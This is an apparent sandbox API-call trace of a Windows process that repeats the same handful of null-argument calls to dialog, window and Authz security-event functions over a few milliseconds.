[0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.568] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.568] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.568] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.568] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.568] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.568] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.568] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.568] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.568] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.568] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.569] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.569] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.569] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.569] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.569] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.569] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.569] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.569] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.569] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.569] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.569] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.569] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.569] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.570] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.570] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.570] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.570] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.570] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.570] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.570] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.570] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.570] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.570] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.570] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.571] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.571] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.571] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.571] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.571] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.571] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.571] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.571] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.571] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.571] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.571] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.571] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.572] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.572] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.572] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.572] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.572] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.572] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.572] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.572] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.572] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.572] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.572] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.573] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.573] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.573] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.573] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.573] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.573] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.573] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.573] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.573] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.573] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.573] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.573] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.574] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.574] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.574] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.574] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.574] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.574] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.574] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.574] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.574] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.574] GetTopWindow (hWnd=0x0) returned 0x30140 